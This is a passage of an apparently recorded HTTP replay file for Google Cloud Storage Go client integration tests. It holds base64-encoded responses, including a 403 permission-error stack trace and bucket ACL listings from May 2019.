QpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPUZPUkJJRERFTiwgZXJyb3JQcm90b0RvbWFpbj1nZGF0YS5Db3JlRXJyb3JEb21haW4sIGZpbHRlcmVkTWVzc2FnZT1udWxsLCBsb2NhdGlvbj1udWxsLCBtZXNzYWdlPWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuLCB1bm5hbWVkQXJndW1lbnRzPVtdfSwgbG9jYXRpb249bnVsbCwgbWVzc2FnZT1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiwgcmVhc29uPWZvcmJpZGRlbiwgcnBjQ29kZT00MDN9IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuOiBjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX0FDQ0VTU19ERU5JRUQ6IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLlVwZGF0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFVwZGF0ZUFjbHMuamF2YTo5MClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLlVwZGF0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFVwZGF0ZUFjbHMuamF2YToyNylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IudXBkYXRlKEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6MTAzKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MDMsIm1lc3NhZ2UiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiJ9fQ==" - } - }, - { - "ID": "1c8663192ed534e8", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/acl?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2370" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:59 GMT" - ], - "Etag": [ - "CAM=" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:59 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uqfc2TzyVBAwGuVpWWQt7OYr3IQEmVj5R7LIr5LSRAhwFernkoD6TFVnJno_ria4LL8P9tSQgzCF7uJpStJTpYgTOiW5FqTxQ-AgbOjFmAMjah3o6U" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9scyIsIml0ZW1zIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FNPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQU09In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQU09In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvdXNlci1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9hY2wvdXNlci1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsImVudGl0eSI6InVzZXItaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNBTT0ifSx7ImtpbmQiOiJzdG9yYWdlI2J1Y2tldEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9kb21haW4tZ29vZ2xlLmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9hY2wvZG9tYWluLWdvb2dsZS5jb20iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJkb21haW4tZ29vZ2xlLmNvbSIsInJvbGUiOiJSRUFERVIiLCJkb21haW4iOiJnb29nbGUuY29tIiwiZXRhZyI6IkNBTT0ifV19" - } - }, - { - "ID": "51858ae7ea77845a", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/acl?alt=json\u0026prettyPrint=false\u0026userProject=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2370" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:59 GMT" - ], - "Etag": [ - "CAM=" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:59 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uqc5V7vaPL-d4aMLJi5QXyxZYWWtGBx0QuvfeB8rFlhwPGPFLQUABxm_XXkR0AOeIqdZ-intSu7I5srWdFKX85aY8r-z4oRTuB-CjGUe5uMiXQzXU4" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9scyIsIml0ZW1zIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FNPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQU09In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQU09In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvdXNlci1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9hY2wvdXNlci1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsImVudGl0eSI6InVzZXItaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3Rv